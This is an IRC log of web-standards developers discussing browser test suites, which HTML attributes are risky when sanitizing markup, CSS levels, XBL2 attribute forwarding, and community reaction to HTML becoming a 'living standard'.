| 14:46 | <jgraham> | But there is inevitably also a component of doing browser-specific work |
| 14:46 | <jgraham> | And that turns out to be a rather large component |
| 14:46 | <annevk> | I have written tests, but there's hardly any contribution from elsewhere |
| 14:46 | <annevk> | e.g. for XMLHttpRequest |
| 14:46 | <annevk> | maybe the bar to entry is too high, but I have not even been contacted |
| 14:46 | <jgraham> | Since the job description is not "write tests" but "help us ship a good browser" |
| 14:47 | <annevk> | and while other browsers might start using the tests, they are hesitant (to say the least) to convert their own |
| 14:48 | <annevk> | tl:dr standardizing test infrastructure is tough |
| 14:48 | <annevk> | and sharing tests is too |
| 14:50 | <jgraham> | Sharing tests is generally not that bad if the recievee is prepared to do all the integration work |
| 14:50 | <Ms2ger> | jgraham, Mozilla does write a lot of HTML tests, we just don't submit them ;) |
| 14:51 | <jgraham> | Ms2ger: That is the same thing :) |
| 14:51 | <Ms2ger> | Only from your POV :) |
| 14:51 | <jgraham> | Well from everyone's POV |
| 14:51 | <jgraham> | Apart from yours |
| 15:01 | <hsivonen> | jacobolus: apparently you need to buy t-shirts with the HTML5 logo on them to get this testing thing sorted out |
| 15:02 | jgraham | has his doubts that will help |
| 15:03 | <jacobolus> | hsivonen: is that the W3C version of a middle school bake sale? |
| 15:04 | <jacobolus> | maybe the spec could do in-line advertising. "the canvas element, brought to you by Nabisco" |
| 15:04 | <jgraham> | jacobolus: It seems to be. My idea of a real bake sale, with the HTML5 logog on big cakes and all the sub-logos on cupcakes has so far failed to gain any traction |
| 15:05 | <jgraham> | Even when I suggested that we dress up in vinatge military gear to do the selling |
| 15:05 | <jacobolus> | damn |
| 15:05 | <jgraham> | and get a brass band clad in HTML5-spandex |
| 15:05 | <jgraham> | On an entirely different topic, does anyone know if, and by how much, faster it is to draw to Xvfb than to real X? |
| 15:37 | <hsivonen> | apart from attributes that contain URL, are there dangerous attributes that don't start with "on"? |
| 15:40 | <annevk> | hsivonen, autofocus |
| 15:41 | <annevk> | hsivonen, srcdoc |
| 15:41 | <annevk> | actually, maybe srcdoc is harmless |
| 15:41 | <annevk> | no, only harmless when sandbox is defined iirc |
| 15:42 | <hsivonen> | annevk: good point on autofocus |
| 15:42 | <hsivonen> | annevk: what's dangerous with srcdoc? it's in a different origin, right? |
| 15:43 | <othermaciej> | what counts as "dangerous"? |
| 15:44 | <hsivonen> | othermaciej: stuff that would allow script to run in the wrong origin when the markup is inserted into a different-origin doc |
| 15:44 | <hsivonen> | oh, and style is a special case, of course |
| 15:45 | <annevk> | is srcdoc in a different origin by default? |
| 15:45 | <othermaciej> | if the attacker can control all the attributes on an iframe element, then srcdoc is indeed dangerous |
| 15:45 | <annevk> | I thought it wasn't |
| 15:45 | <othermaciej> | but then, so is src |
| 15:45 | <annevk> | src is excluded already as it contains a URL |
| 15:45 | <othermaciej> | any attribute that takes a URL and happens to contain a javascript: URL is probably dangerous |
| 15:45 | <hsivonen> | annevk: huh. I thought the whole point of involving an iframe was to put srcdoc into a different origin |
| 15:45 | <hsivonen> | othermaciej: what's the attack? |
| 15:46 | <annevk> | hsivonen, I think that is only true for <iframe srcdoc=test sandbox> |
| 15:46 | <othermaciej> | srcdoc can be in a unique origin if you sandbox the iframe |
| 15:46 | <hsivonen> | othermaciej: what's the attack that makes srcdoc dangerous if all attributes controlled that is? |
| 15:46 | <othermaciej> | hsivonen: I don't know what threat you are defending against, you said "allow script to run in the wrong origin" |
| 15:47 | <othermaciej> | but srcdoc iframes can be same-origin with the parent and can run script |
| 15:47 | <hsivonen> | annevk: what's the point of srcdoc without sandboxing? |
| 15:47 | <david_carlisle> | Paul: some in my group may be interested in this |
| 15:47 | <othermaciej> | so can iframes with a javascript: src |
| 15:48 | <hsivonen> | same-origin srcdoc seems like trouble. what's the point of ever allowing srcdoc to be same-origin? why use an iframe at all in that case? |
| 15:48 | <david_carlisle> | Bruce: I missed the point of what a class attribute would accomplish, an input box needs more complicated data, if your have markup for that and allows that in your schema |
| 15:48 | <hsivonen> | othermaciej: yeah, URL attributes all need special attention |
| 15:48 | <othermaciej> | what's the use case here? are you trying to filter html by blacklisting? |
| 15:48 | <hsivonen> | david_carlisle: are you in the wrong window? |
| 15:49 | <david_carlisle> | oops sorry in mathml wg telecon..... :-) |
| 15:49 | <david_carlisle> | don't understand these tab things, bye |
| 15:54 | <annevk> | http://tools.ietf.org/html/draft-bankoski-vp8-bitstream |
| 15:58 | <hsivonen> | annevk: interesting choice of venue |
| 15:59 | <hsivonen> | hmm. Intended status: Informational |
| 16:00 | <annevk> | it was also submitted on Jan 6 |
| 16:00 | <annevk> | bit weird |
| 16:01 | <Ms2ger> | This specification is made available under a Creative Commons Attribution 3.0 License [4]. |
| 16:01 | <Ms2ger> | Wait, what? |
| 16:01 | <annevk> | I would have expected that to turn up sooner |
| 16:04 | <othermaciej> | does the IETF let you put your choice of license on an RFC? I thought you had to assign them copyright |
| 16:06 | <Ms2ger> | "Copyright (c) 2011 IETF Trust and the persons identified as the document authors. All rights reserved." on page one, and CC-BY on page 148 |
| 16:06 | <karlcow> | http://en.wikipedia.org/wiki/Request_for_Comments#Status_.22informational.22 |
| 16:07 | <karlcow> | >An informational RFC can be nearly anything from April 1 jokes over proprietary protocols up to widely recognized essential RFCs like Domain Name System Structure and Delegation (RFC 1591). |
| 16:07 | <karlcow> | published on January 6, so might not be a joke |
| 16:07 | <workmad3> | ah, good old TCP/IP over Carrier Pigeon |
| 16:08 | <karlcow> | CCTV for pigeons? |
| 16:08 | <othermaciej> | yeah, it just seems to be a least-effort path to something that can be called a "standard" |
| 17:23 | <paul_irish> | what makes a css module be at Level 3? |
| 17:24 | <Hixie> | Philip`: zcorpan points out https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 also applies to the spec splitter we use for the main spec |
| 17:24 | <TabAtkins> | paul_irish: Every module published since 2.1 is at level 3, unless it's an update to one we've already closed on. |
| 17:25 | <TabAtkins> | Like B&B 4, which is in our version control. |
| 17:25 | <Ms2ger> | Go and publish a FPWD |
| 17:25 | <paul_irish> | if a new spec was started today.. would it start at 4? |
| 17:25 | <Ms2ger> | No |
| 17:25 | <TabAtkins> | No. |
| 17:26 | <paul_irish> | When will that happen? |
| 17:26 | <TabAtkins> | I have to go look up the email where we decided policy, but if we publish something new now, we don't number it at all. |
| 17:26 | <paul_irish> | ah. :) ok |
| 17:26 | <paul_irish> | I'm curious if the "CSS3" exists. |
| 17:26 | <paul_irish> | I'm curious if "CSS3" exists. |
| 17:27 | <TabAtkins> | No, "CSS3" is a marketing term. |
| 17:27 | <paul_irish> | seems like a collection of modules that are at level 3 right now, but.. .. |
| 17:27 | <TabAtkins> | And has been for longer than "HTML5" has. |
| 17:28 | <paul_irish> | groovy. thx |
| 17:28 | <TabAtkins> | CSS still does versioning, but only on the module level. Overall, CSS is unversioned, except insofar as there is 2.1, and everything after it. |
| 17:29 | <paul_irish> | k |
| 17:30 | <SlexAxton> | paul_irish: TabAtkins - don't you guys sit next to eachother? |
| 17:30 | <annevk> | those are levels |
| 17:30 | <paul_irish> | not when i'm commuting :) |
| 17:30 | <annevk> | not versions... |
| 17:30 | <TabAtkins> | SlexAxton: Also, he's further down the floor. |
| 17:30 | <SlexAxton> | im just joshin' - back to work. |
| 17:30 | <TabAtkins> | annevk: Sure, whatever. |
| 17:31 | <paul_irish> | annevk: is that distinction important? |
| 17:31 | <TabAtkins> | annevk: Dunno what the disction is, as parts of CSS2.1 are obsoleted by CSS3 modules. |
| 17:31 | <TabAtkins> | And the plan is to eventually obsolete the whole thing. |
| 17:31 | <TabAtkins> | Once someone can be arsed to write Syntax and Box Model. |
| 17:34 | <Ms2ger> | Will probably happen before 2.1 is a rec |
| 17:34 | <jgraham> | Versions somewhat implies "incompatible". I think the idea with levels is that you can only level-up i.e. get new features that you didn't have before |
| 17:34 | <jgraham> | Or at least implies "mechanism of marking which version you are using" |
| 17:34 | <TabAtkins> | I don't know if that's the meaning everyone would draw from the terms, but sure, barring minor inconsistencies, that's true. |
| 17:34 | <annevk> | the idea is that with levels the difference is only the feature set |
| 17:34 | <Ms2ger> | CSS needs doctypes |
| 17:34 | <annevk> | not the functionality of the features |
| 17:35 | <annevk> | i.e. once #fff is introduced it will mean white from that point on and nothing else |
| 17:35 | <annevk> | no future level can change that |
| 17:35 | <annevk> | but it does not matter too much either way |
| 17:35 | <TabAtkins> | Unless we determine it was a really bad idea and no browser does it. |
| 17:35 | <annevk> | then it would not end up in a REC anyway |
| 17:36 | <annevk> | the "process" deals with that already |
| 17:36 | <TabAtkins> | But yeah, whatever. CSS is level-less, except for the 2.1/everything after distinction. Individual modules are still levelled. Same diff. |
| 17:37 | <paul_irish> | ah. i follow. yeah that's a worthwhile distinction |
| 17:46 | <volkmar_> | i was wondering, what are the use cases of dispatchForm[Input|Change]? |
| 17:48 | <annevk> | there's an example in the spec |
| 17:49 | <volkmar_> | oh, for change, indeed |
| 17:49 | <volkmar_> | i've only checked for the other |
| 17:50 | <annevk> | I am sort of fine with getting rid of them, though reportedly they were not that hard to implement and Hixie thinks they make authoring quite a bit easier |
| 17:50 | <annevk> | if you do not want to rely on libraries |
| 17:50 | <annevk> | but maybe that is mostly about formchange and forminput |
| 17:51 | <annevk> | events |
| 17:51 | <volkmar_> | annevk: yes, it's not hard to implement dispatchFormInput if you have formInput given that, internally, it will call something like dispatchFormInput |
| 17:52 | <volkmar_> | hmm, the example in the spec doesn't convince me it's useful |
| 17:52 | <annevk> | volkmar_, you could look for a resolved bug in the W3C database |
| 17:52 | <annevk> | volkmar_, someone asked for removal and Hixie declined |
| 17:53 | <annevk> | no idea which number and I really have to run |
| 17:53 | <volkmar_> | annevk: someone ask for removal for forminput and formchange |
| 17:53 | <volkmar_> | annevk: i will check if that was the case for dispatch* |
| 17:53 | <volkmar_> | thanks ;) |
| 17:54 | <Hixie> | mostly the use case for dispatch* is to make it easier to just write the logic once in an event handler and make sure it triggers in all the various cases it could trigger |
| 17:54 | <Hixie> | but certainly the use cases for dispatch* are less than the use cases for the events themselves |
| 18:04 | <erlehmann> | http://qdb.us/305324 |
| 18:04 | <erlehmann> | :D |
| 18:06 | <Hixie> | erlehmann: hey if someone can figure out the security model... |
| 18:10 | <Philip`> | Hixie: Get a browser that lets you hit the space key at the bottom of the page to go to the next :-) |
| 18:10 | <Hixie> | [24~:-P |
| 18:10 | <Hixie> | er |
| 18:10 | <Hixie> | :-P |
| 18:22 | <karlcow> | is it only me? |
| 18:22 | <karlcow> | http://www.xanthir.com/talks/2011-01-12/slides.html TabAtkins slides do not work with Opera? |
| 18:23 | <Ms2ger> | Only Chrome |
| 18:23 | <nimbupani> | :D |
| 18:28 | <karlcow> | doh! |
| 18:38 | <Hixie> | man, a mountain of comments |
| 18:39 | <Hixie> | if anyone wants to help out with the faq, what would be really helpful right now would be to go through the recent blog comments and distill the criticisms into comments or questions we can add to http://wiki.whatwg.org/wiki/FAQ#The_WHATWG_Process |
| 18:39 | <Hixie> | feel free to just add questions there even without answers, we can fill them in later |
| 19:09 | <midgard> | will there be other shirts in the future? http://html5shirt.com/ because the shirts which are offered are very very ugly :-( |
| 19:11 | <Hixie> | if anyone wants to represent HTML at XML Prague (in March, I believe), contact Jim Fuller <jim.fuller⊙xc> and let him know I sent you |
| 19:11 | <Hixie> | prague is a really beautiful city, i'd highly recommend it |
| 19:19 | <mpilgrim> | if someone designs a kickass HTML(!5) shirt in the next few weeks, i will wear it during my keynote at WebStock NZ |
| 19:23 | <Ms2ger> | HTML5 is so last year |
| 19:24 | <Ms2ger> | Or yesterday, I guess |
| 19:24 | <paul_irish> | mpilgrim: http://www.flickr.com/photos/8624599@N07/5370519387/in/set-72157625737102465/ |
| 19:25 | <mpilgrim> | not that one |
| 19:26 | <paul_irish> | skeletons ♥ HTML http://www.flickr.com/photos/8624599@N07/5371130056/in/set-72157625737102465/ |
| 19:26 | <mpilgrim> | I would wear one that said "HTML5 is so last week" |
| 19:27 | <dglazkov> | Hixie: what's the use case for XBL2 attribute forwarding? |
| 19:27 | <dglazkov> | I wanna document |
| 19:33 | <Ms2ger> | http://blog.whatwg.org/html-is-the-new-html5#comment-42365 |
| 19:40 | <Hixie> | dglazkov: e.g. if you wrap a <select> and want to be able to disable the control, you could forward 'disabled' |
| 19:41 | <payman> | 8 |
| 19:41 | <payman> | sorry, wrong window. |
| 19:44 | <dglazkov> | Hixie: thanks! |
| 19:48 | <dglazkov> | Hixie: I wonder if state changes should be handled similarly (activate/focus/select) |
| 19:48 | <Hixie> | another example would be forwarding a title="" attribute to get a tooltip somewhere, or value="" to get a default value somewhere, or lang="" to make sure the content is correctly labeled, etc |
| 19:49 | <Hixie> | when doing xbl2 i wanted something that could invoke script to map these attributes intelligently, but couldn't work out a good way to do it |
| 19:49 | <Hixie> | which is why the spec has the special syntax for various clever things, like how to forward urls |
| 19:50 | <dglazkov> | bz had given me lots of code to chew on. |
| 20:02 | <dglazkov> | Hixie: we need better syntax |
| 20:03 | <dglazkov> | attributes="title=title" hurts my eyes |
| 20:03 | <dglazkov> | oh, it's just attributes="title" |
| 20:03 | <dglazkov> | but still |
| 20:03 | dglazkov | quits whining and gets back to use cases |
| 20:09 | <Hixie> | dglazkov: yeah, i dunno what would be better though |
| 20:24 | <Ms2ger> | TabAtkins, have you seen http://w3cindia.in/cssdocument.html already? It has something about lists ;) |
| 21:13 | <schalkn> | Hi there everyone |
| 21:13 | <schalkn> | Have you seen the HTML5 shirts on sale? |
| 21:14 | <schalkn> | Are the funds definitely going to directly to the development of the test suite? |
| 21:23 | <dglazkov> | abarth: yt? |
| 21:23 | <dglazkov> | abarth: can you pls expand here: http://wiki.whatwg.org/wiki/Component_Model_Use_Cases#Using_Shadow_DOM_Boundary_for_Isolation? |
| 21:25 | <benschwarz> | Time to hit the office. Laters |
| 21:30 | <abarth> | dglazkov: sure |
| 21:33 | <dglazkov> | yay! |
| 21:57 | <jgraham> | hmm, it seems that IETF have a different view of "consensus" than I do |
| 22:02 | <annevk> | there's a lot of comments on this blog post |
| 22:02 | <annevk> | geez |
| 22:02 | <annevk> | is anyone going to reply? |
| 22:11 | <annevk> | some people also complained about having to enable JavaScript because of the spam filter... |
| 22:15 | <jgraham> | annevk: I can't imagine any reply would actually be read |
| 22:15 | <jgraham> | Clearly people are ignoring all the other comments when they post their |
| 22:16 | <jgraham> | e.g. foolip_'s insightful comment |
| 22:16 | <jgraham> | But some of the comments are quite funny |
| 22:16 | <annevk> | the trend seems to have gone from mostly positive to mostly negative as well |
| 22:17 | <jgraham> | """LOL this means you will only able to add to a spec, not redefine it. [...] You’ll need to introduce namespaces, versioned tags or revert to a pointer to a fixed specification soon.""" |
| 22:17 | <annevk> | but the negative comments are not really well informed (the positive comments might not be either though) |
| 22:17 | <jgraham> | I wonder if that guy realises that we have only been able to add to HTML, not redefine it, since 1992 |
| 22:17 | <annevk> | I guess when a post gets sufficiently popular, the feedback you get is "garbage" |
| 22:18 | <annevk> | yeah indeed, there's a lot of stuff like that |
| 22:18 | <annevk> | also one guy claiming how HTML is irrelevant and everything is XML and RDF these days |
| 22:18 | <annevk> | but of course o_O |
| 22:19 | <jgraham> | Right, as the thread goes on, the cluelessness level is rising sharply |
| 22:19 | <annevk> | I don't really feel like rejecting any of them though. They're not spam and Mr Last Week might find it useful fodder |
| 22:20 | <jgraham> | Right. No spam |
| 22:20 | <jgraham> | At least in the published stuff, I haven't looked at the moderation queue |
| 22:20 | <jgraham> | I feel sorry for many of these people really |
| 22:21 | <foolip_> | lol, "like comparing a needle to a haystack" |
| 22:21 | <jgraham> | They seem to have had the idea there would be some glorious future where there would be a precise standard that all browsers would implement in a bug-free way |
| 22:22 | <jgraham> | And, well, it has never been like that before, so they had nothing to go on |
| 22:22 | <jgraham> | But they really *believed* |
| 22:22 | <Hixie> | annevk: if you could collate all the points made and stick them in the faq, i'm happy to answer them |
| 22:22 | <Hixie> | annevk: i did some last night |
| 22:22 | <annevk> | that's an interesting idea |
| 22:23 | <annevk> | with which I mean I won't do it tonight, but maybe tomorrow :) |
| 22:23 | <Hixie> | :-) |
| 22:23 | <foolip_> | many commenters seem to concerned with the well-being of us browser implementors. touching, but wrong |
| 22:24 | <Hixie> | yeah |
| 22:24 | <foolip_> | "Browser devs will be scrambling to keep up." |
| 22:24 | <foolip_> | as if we weren't before :) |
| 22:24 | <annevk> | I love how they are strongly opinionated. I kind of lost that myself |
| 22:24 | <jcranmer> | it's easier to design APIs than to implement them |
| 22:25 | <annevk> | things like "Worst. Idea. Ever." |
| 22:25 | <jcranmer> | reference? |
| 22:26 | <jcranmer> | I want to... laugh at idiots, but I'm too lazy to figure out the source from scrollback |
| 22:26 | <annevk> | jcranmer, comments on http://blog.whatwg.org/html-is-the-new-html5 |
| 22:26 | <jcranmer> | annevk: thanks |
| 22:26 | <annevk> | up to 78 approved now |
| 22:27 | <jgraham> | Oh it made slashdot |
| 22:28 | <ment> | yeah :) |
| 22:28 | <jgraham> | Maybe that explains the change |
| 22:28 | <foolip_> | there's bound to be lot's of insight in the slashdot comments :) |
| 22:28 | foolip_ | goes to look |
| 22:28 | <jcranmer> | I'll agree that it might be nice to snapshot |
| 22:28 | <jgraham> | Oh and the first comment on /. manages to compare it to Microsoft |
| 22:28 | <jcranmer> | although I think the CVS or SVN or whatever is public |
| 22:29 | <jgraham> | But, amazingly, doesn't spell it M$ |
| 22:29 | <foolip_> | let's just call it HTML5792 (SVN revision) |
| 22:29 | <jcranmer> | wow, someone who LIKED the logo? |
| 22:30 | <annevk> | oh we are on /. |
| 22:30 | <annevk> | haha |
| 22:30 | <foolip_> | too bad the w3c version of the spec will now get better ranking from "html5" searches |
| 22:30 | <annevk> | that and reddit |
| 22:30 | <foolip_> | (relative to whatwg that is) |
| 22:30 | <annevk> | we lost that battle long ago I think |
| 22:31 | <annevk> | of course amid all the conspiracy theories on Google and the WHATWG nobody mentioned that |
| 22:31 | <ment> | just for clarification - html 5 is neither 5 nor standard anymore? |
| 22:31 | <annevk> | HTML is a standard |
| 22:31 | <jgraham> | Of course the /. article is to some blog |
| 22:32 | <annevk> | HTML5 is the buzzword for "Web Platform" |
| 22:32 | <annevk> | (basically since the W3C logo announcement, though the W3C HTML WG might still publish drafts called HTML5 I guess) |
| 22:32 | <jgraham> | Seriosuly, the ratio of knee-jerk to insight in that slashdot thread caused a divide-by-zero error |
| 22:33 | <ment> | annevk: well i can conform to html 4.01, but not to "html" |
| 22:33 | <annevk> | ment, why not? |
| 22:34 | <annevk> | ment, conformance to CSS changes over time, conformance to HTML can too |
| 22:34 | <ment> | annevk: because i have no idea how to decide whether i'm conforming or not |
| 22:34 | <annevk> | ment, you use the latest version of the specification |
| 22:35 | <annevk> | It's funny that CSS pioneered all of this but with HTML it is controversial and stupid |
| 22:35 | <ment> | annevk: that's just tortoise/achilles problem |
| 22:35 | <annevk> | well, to some people :) |
| 22:35 | <ment> | afaik css is releasing specs bit by bit |
| 22:35 | <jcranmer> | I like all of the idiots who complain that "this makes browser comparison difficult, since you can't just say "HTML5: yes"' |
| 22:35 | <jcranmer> | and the last time that such a distinction was doable was... never, I believe |
| 22:36 | <annevk> | jcranmer, I wonder how long they thought about such a comment |
| 22:36 | <Hixie> | if anyone sees any recurring themes in the slashdot comments, please add them as sections to the faq and i'll go in and answer them later (or anyone else can go in and answer them, whatever) |
| 22:36 | <jcranmer> | that's why WP breaks support down by CSS property or HTML tag/attribute |
| 22:36 | <ment> | jcranmer: yes it makes conformance difficult. i had these problems when i was writing html5 parser/tokenizer according to draft |
| 22:36 | <ment> | jcranmer: which had very different tokenizer two months later |
| 22:37 | <ment> | jcranmer: so i had just to throw most of the tokenizer away and start over again |
| 22:37 | <jcranmer> | IMHO, speccing how to precisely handle tag soup is a bit over the top |
| 22:37 | <jcranmer> | although I do come from a compiler mindset |
| 22:37 | <annevk> | ment, so the difference could have been that you implemented HTML5 which would have been in the same state as HTML4 (pretty crappy) and there would be another draft called HTML6 which had the fixes |
| 22:37 | <jcranmer> | where errors are "OMFG, you fail" |
| 22:38 | <annevk> | ment, languages evolve and especially when the legacy constraints are not fully understood (a clear indication of that is when browsers are not shipping conforming implementations) this may cause further changes |
| 22:38 | <jgraham> | Hixie: The main recurring theme in the slashdot comments was that your employer is evil and you, personally, are a retard |
| 22:39 | <annevk> | ment, a different development model to standards is not going to solve that though |
| 22:39 | <jgraham> | (that might not be quite a fair summary) |
| 22:39 | <realityking> | Doesn't the trouble when validating starts when stuff gets moved to deprecated or "obsolete but conforming" how it is now called? |
| 22:40 | <ment> | annevk: yeah, but now i can't just say to somebody with broken page - fuck off, fix your page to conform to html123. and if i say it, he will start babling about how languages are evolving all the time |
| 22:40 | <realityking> | CSSWG has made a decision to never remove from the language (whether that is good or not is debatable) I haven't heard something like that for HTML |
| 22:41 | <annevk> | ment, right |
| 22:41 | <espadrine> | I don't understand why people link this move to Google Chrome. |
| 22:41 | <jamesr_> | it doesn't matter whether CSSWG or HTMLWG or WHATWG decides never to remove from the language or not |
| 22:41 | <annevk> | ment, you can say "fuck off" the moment there are two interoperable implementation that also break his page |
| 22:41 | <jamesr_> | no implementation can ever remove a popular feature from their implementation of CSS or HTML or whatever |
| 22:41 | <annevk> | ment, that is why we have the stability indicator |
| 22:41 | <jamesr_> | no matter what any specification says |
| 22:42 | <gsnedders> | espadrine: Because Hixie works for Google. |
| 22:42 | <Hixie> | jgraham: well i can't comment for my employer... :-P |
| 22:42 | <annevk> | espadrine, I think you can compare them. Chrome has a version number internally. HTML has a SVN revision number internally :) |
| 22:42 | <realityking> | jamesr_: I believe theres is a difference for document and processor conformance |
| 22:42 | <annevk> | espadrine, but for "marketing" they are Chrome and HTML |
| 22:42 | <foolip_> | several people seem to be unhappy that it's hard to know who supports what |
| 22:43 | <jgraham> | That could be an FAQ |
| 22:43 | <ment> | annevk: you have to understand there are more html parsers than those implemented in three major web browsers |
| 22:43 | <gsnedders> | It already is when everyone implements drafts |
| 22:43 | <annevk> | we have a poitner to caniuse.com in the FAQ |
| 22:43 | <jamesr_> | realityking: is it a difference that anybody in the real world cares about? |
| 22:43 | <annevk> | maybe html5test.com should be there too |
| 22:43 | <realityking> | in the future we might find that the video element is a bad idea and invent something better, how would you reflect that it isn't state of the art anymore? |
| 22:43 | <jcranmer> | "One inch has an exactly defined length, since long ago. Next big thing is a living standard for measuring. Ridiculous." |
| 22:43 | <foolip_> | I'll add the question, not the answer |
| 22:43 | <jgraham> | "Q) How do I know who supports what? A) Look at the results of the testsuite" |
| 22:43 | <jamesr_> | realityking: you would still have to specify the behavior of <video> so that implementations could be interoperable |
| 22:43 | <jcranmer> | well, the cm was redefined 4 or 5 times in the 1900s |
| 22:43 | <annevk> | ment, I do, I implemented one myself |
| 22:43 | <jamesr_> | assuming that <video> remains popular enough to not drop it |
| 22:44 | <ment> | annevk: and i don't have twenty monkeys surfing the web watching for latest html broken element trends |
| 22:44 | <annevk> | ment, for better or worse though until browsers have shipped implementations the draft cannot be considered stable |
| 22:44 | <realityking> | jamesr_: yes, that why I talked about document conformance |
| 22:44 | <ment> | annevk: so i will end up trying that in three different browsers figuring out how do _they_ parse it |
| 22:44 | <annevk> | ment, if we marked it stable without that it would be just like HTML4 |
| 22:45 | <realityking> | I think for documents a versioned approach is desireable |
| 22:45 | <jamesr_> | realityking: nobody cares about document conformance |
| 22:45 | <ment> | annevk: yeah, but with dropping version numbers, you said that you are gonna be draft forever |
| 22:45 | <annevk> | ment, things might change, but most things will be fairly stable |
| 22:45 | <jgraham> | realityking: You know, nothing rally has changed here. You might have a HTML3.2 document that is not state of the art anymore. How does it help to say 'this is valid HTML3.2'?" |
| 22:45 | <annevk> | ment, this is no different from CSS Modules amending CSS 2.1 though |
| 22:45 | <ment> | annevk: sure |
| 22:45 | <realityking> | jamesr_: so you're saying it doesn't matter what I write in my HTML docs (inventing new elements, attributes and so on)? |
| 22:46 | <annevk> | ment, change will always happen |
| 22:46 | <annevk> | when change stops, something better will have come along |
| 22:46 | <espadrine> | realityking: as long as implementors ship with improvements, there is something to add to the html spec. |
| 22:46 | <jamesr_> | realityking: you aren't listening |
| 22:46 | <jgraham> | realityking: I believe that's called the fallacy of the excluded middle or something |
| 22:47 | <realityking> | espadrine: I'm not proposing not to add to the specs, just that there should be milestones or something |
| 22:47 | <foolip_> | hmm, the structure of the FAQ is a bit messy after todays edits |
| 22:47 | <realityking> | jgraham: sorry not a native speaker |
| 22:47 | <realityking> | I have no clue what your last sentence is supposed to mean |
| 22:48 | <ment> | annevk: i'm not against change, but the progress of html/css/js could be described as perpetual retardation |
| 22:48 | <realityking> | of course no HTML3.2 document is state of the art anymore |
| 22:48 | <jamesr_> | no fixed version of any HTML specification will ever be state of the art |
| 22:48 | <foolip_> | I seriously doubt "If you do not publish snapshots every now and again, you are Orwellian in your recognition of the role the mistakes of the past play into the present and the future." is a *frequently* asked question :) |
| 22:48 | annevk | looks up that term |
| 22:48 | <jgraham> | The fallacy of the excluded middle is when you say "since I can't do X you are saying I have to do the opposite of X", ignoring all the possibilities between X and its opposite |
| 22:48 | <realityking> | ah thanks |
| 22:49 | <jgraham> | foolip_: Well it's not even a question, so no |
| 22:49 | <realityking> | I don't doubt that the standard process takes too long for innovations |
| 22:49 | <annevk> | ment, can't really find what that means exactly, but I am not sure if that is true |
| 22:49 | <jcranmer> | well, what matters is not what the standard says |
| 22:50 | <realityking> | but how do I know what features are stable when stuff is constantly added to the spec? |
| 22:50 | <jcranmer> | it matters what implementors actually do |
| 22:50 | <annevk> | ment, once we have stable implementations in browsers there is no need to change |
| 22:50 | <ment> | annevk: standards are supposed to make order in things, not to incorporate every retarded thing some developer came up with at microsoft/google/mozilla |
| 22:50 | <jcranmer> | in an ideal world, the standard is what everyone does |
| 22:50 | <jgraham> | realityking: The goal is to have per section markers |
| 22:50 | <annevk> | ment, with the parser anyway, the only changes we will make to the parser will be for new features |
| 22:50 | <foolip_> | realityking, this just added to the FAQ: http://wiki.whatwg.org/wiki/FAQ#How_can_web_developers_know_which_features_are_safe_to_use.3F |
| 22:50 | <jcranmer> | in practice, people pick and choose for what they need to have done |
| 22:50 | <annevk> | ment, it just takes a while to get the parser to that state |
| 22:50 | <annevk> | ment, where it is stable |
| 22:50 | <espadrine> | realityking: each implementor has its support table. |
| 22:50 | <jgraham> | realityking: But in practice, if there are multiple, independent implementations of something such that content relies on it, it is stable |
| 22:51 | <jcranmer> | for example, officially NNTP is UTF-8; in practice, that is most certainly not a universal statement |
| 22:51 | <jgraham> | Stability is enforced by the market, not some artifical declaration |
| 22:51 | <realityking> | espadrine: yeah but a tleasts Webkits sucks |
| 22:51 | <annevk> | ment, if you have ideas on how to approach this differently btw please do email the list or something |
| 22:51 | <realityking> | of course I can change every single document in every browser |
| 22:52 | <jcranmer> | honestly |
| 22:52 | <jcranmer> | THIS ISN'T A CHANGE FROM HOW THINGS WERE DONE BEFORE |
| 22:52 | <realityking> | however if I don't limit myself to the big 5 this gets tiresome |
| 22:52 | <jgraham> | In this case, the effect of the market is that browser vendors cannot break functionality that content relies on |
| 22:52 | <jgraham> | However dumb it later turns out to be |
| 22:52 | <jgraham> | So all that stuff is stable |
| 22:52 | <jcranmer> | it's just more an actual admission of fact that the real world is so unlike the pure ideal |
| 22:52 | <annevk> | ment, it's pretty clear we do not have all the answers here, we're still evolving what we are doing and how we are doing it |
| 22:52 | <jcranmer> | that we're not going to bother to try to paint this ideal picture of the wrold |
| 22:52 | <realityking> | I have currently now way of knowing whether for a given feature in the HTML spec one or more browsers exists that implement this according to the standard |
| 22:53 | <ment> | annevk: ok, let me explain this on an example |
| 22:53 | <jgraham> | realityking: Testsuites |
| 22:53 | <annevk> | realityking, caniuse.com |
| 22:53 | <jgraham> | The fact that the testsuite is currently rubbish is a problem |
| 22:53 | <jgraham> | But in the interim caniuse.com and so fill a gap |
| 22:53 | <espadrine> | jcranmer: it can also lead to a better model. Maybe html will turn out to mean "the cutting edge" for everybody, and there will be stable releases every now and then. |
| 22:53 | <ment> | annevk: i'm not sure whether in US exist something like common english grammar book |
| 22:53 | <realityking> | realityking: I know that site and use it extensively. But is that really what we want? |
| 22:54 | <bfrohs> | Y'know, all of this reminds me of the recent "news" that most people's horoscopes have "changed" -- Those that understood it realized nothing had changed. Those that didn't freaked out. |
| 22:54 | <ment> | annevk: but in my country there is a book describing how grammatically correct language looks like released every two years or so |
| 22:54 | <ment> | annevk: as language changes, the book is of course updated |
| 22:55 | <realityking> | Personally I'd like to get a spec that defines things in a way that is unlikely to change in the future for which at least one (preferable more) implementations exist that follow the spec to the letter (that there always will be bugs set aside) |
| 22:55 | <jcranmer> | ment: English has no official language authority |
| 22:55 | <paul_irish> | realityking: also feature detection.. |
| 22:55 | <ment> | annevk: but they rarely incorporate into grammar some fad like lolcat-speak |
| 22:55 | <jcranmer> | so English grammar is pretty much common consensus |
| 22:55 | <jgraham> | realityking: If you use the site extensivly, it seems to be waht you want, yes |
| 22:56 | <ment> | annevk: and html5 seems to be incorporating every thing at least two browsers implemented, no matter how stupid that idea is |
| 22:56 | <annevk> | ment, we have such a thing too |
| 22:56 | <jcranmer> | even other language authorities will sometimes have to bow to public consensus |
| 22:56 | <ment> | jcranmer: well, we are a small country |
| 22:56 | <realityking> | jgraham: no it's not what I want, it is the least worse alternative |
| 22:56 | <ment> | jcranmer: but that doesn't mean it has to encourage such practices |
| 22:56 | <jgraham> | realityking: I'm quite skeptical of that |
| 22:56 | <jcranmer> | whatever governments think |
| 22:56 | <jcranmer> | language evolves on consensus |
| 22:57 | <jcranmer> | yet somehow, I can still understand everybody |
| 22:57 | <ment> | that works human to human |
| 22:57 | <_bga> | lol http://twitpic.com/3rtdz2 |
| 22:57 | <ment> | not human to machine |
